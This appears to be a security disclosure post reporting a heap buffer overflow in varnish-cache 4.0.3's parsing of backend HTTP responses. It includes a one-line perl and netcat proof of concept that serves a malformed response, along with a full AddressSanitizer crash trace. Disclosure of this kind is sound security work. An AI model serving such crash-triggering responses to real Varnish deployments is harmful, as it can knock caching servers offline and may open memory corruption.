Hi there,

Latest varnish-cache 4.0.3 (https://www.varnish-cache.org/) seem to have a problem with parsing HTTP responses from backend.
The following example response will trigger a heap buffer overflow :

-- cut --
perl -e 'print "HTTP/1.1 200 OK\r\nContent-Length: dupa" . "\n" x 15855 . "A" x 10000 . "\n" ' | nc -l 1098
-- cut --

assuming your config uses localhost:1098 as backend.


meh kernel: [2045151.042468] traps: varnishd[25794] general protection ip:42982c sp:7eff082db2d0 error:0 in varnishd[400000+ac000]

Original asan report :
--- cut ---
=================================================================
==12962==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62900cb24200 at pc 0x7feffed5a87b bp 0x7fef7b213fa0 sp 0x7fef7b213760
WRITE of size 32029 at 0x62900cb24200 thread T596
    #0 0x7feffed5a87a (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x2e87a)
    #1 0x7feffff11849 in HTTP1_Read (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xe8849)
    #2 0x7feffff04727 in v1f_pull_straight (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xdb727)
    #3 0x7fefffee1a35 in vfp_call (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb8a35)
    #4 0x7fefffee210f in VFP_Suck (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb910f)
    #5 0x7fefffee2ee3 in VFP_Fetch_Body (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb9ee3)
    #6 0x7fefffed9f56 in vbf_stp_fetch (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb0f56)
    #7 0x7fefffedea60 in vbf_fetch_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb5a60)
    #8 0x7feffff2d06a in Pool_Work_Thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10406a)
    #9 0x7feffff7b040 in wrk_thread_real (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152040)
    #10 0x7feffff7b442 in WRK_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152442)
    #11 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181)
    #12 0x7feffd9fa00c in __clone (/lib/x86_64-linux-gnu/libc.so.6+0xfb00c)

0x62900cb24200 is located 0 bytes to the right of 16384-byte region [0x62900cb20200,0x62900cb24200)
allocated by thread T596 here:
    #0 0x7feffed807df in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x547df)
    #1 0x7feffffbe5e1 in sma_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1955e1)
    #2 0x7feffffb04c9 in stv_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1874c9)
    #3 0x7feffffb0e7b in stv_alloc_obj (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x187e7b)
    #4 0x7feffffb39ee in STV_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x18a9ee)
    #5 0x7fefffee1696 in VFP_GetStorage (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb8696)
    #6 0x7fefffee2953 in VFP_Fetch_Body (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb9953)
    #7 0x7fefffed9f56 in vbf_stp_fetch (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb0f56)
    #8 0x7fefffedea60 in vbf_fetch_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb5a60)
    #9 0x7feffff2d06a in Pool_Work_Thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10406a)
    #10 0x7feffff7b040 in wrk_thread_real (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152040)
    #11 0x7feffff7b442 in WRK_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152442)
    #12 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181)

Thread T596 created by T16 here:
    #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a)
    #1 0x7feffff2d18d in pool_breed (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10418d)
    #2 0x7feffff2dd3f in pool_herder (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x104d3f)
    #3 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181)
Thread T16 created by T6 here:
    #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a)
    #1 0x7feffff2f043 in pool_mkpool (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x106043)
    #2 0x7feffff2f527 in pool_poolherder (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x106527)
    #3 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181)

Thread T6 created by T0 here:
    #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a)
    #1 0x7feffff2f8e1 in Pool_Init (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1068e1)
    #2 0x7feffff1a4cb in child_main (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xf14cb)
    #3 0x7feffff91402 in mgt_launch_child (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x168402)
    #4 0x7feffff92e06 in mgt_reap_child (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x169e06)
    #5 0x7feffff90541 in child_listener (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x167541)
    #6 0x7feffeb09ce7 in vev_schedule_one (/home/meh/varnish-4.0.3-asan/lib/varnish/libvarnish.so+0x24ce7)
    #7 0x7feffeb084b8 in vev_schedule (/home/meh/varnish-4.0.3-asan/lib/varnish/libvarnish.so+0x234b8)
    #8 0x7feffff93ff6 in MGT_Run (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x16aff6)
    #9 0x7feffff9db1f in main (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x174b1f)
    #10 0x7feffd920ec4 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)

SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ??
Shadow bytes around the buggy address:
  0x0c528195c7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c528195c800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c528195c810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c528195c820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c528195c830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c528195c840:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c528195c850: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c528195c860: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c528195c870: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c528195c880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c528195c890: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

--- cut ---

Our understanding after previous reports is that varnish security model assumes full
trust of the backend, so this is not considered a security problem (but we do).

Best regards,

Filip Palian
Akat1
Marek Kroemeke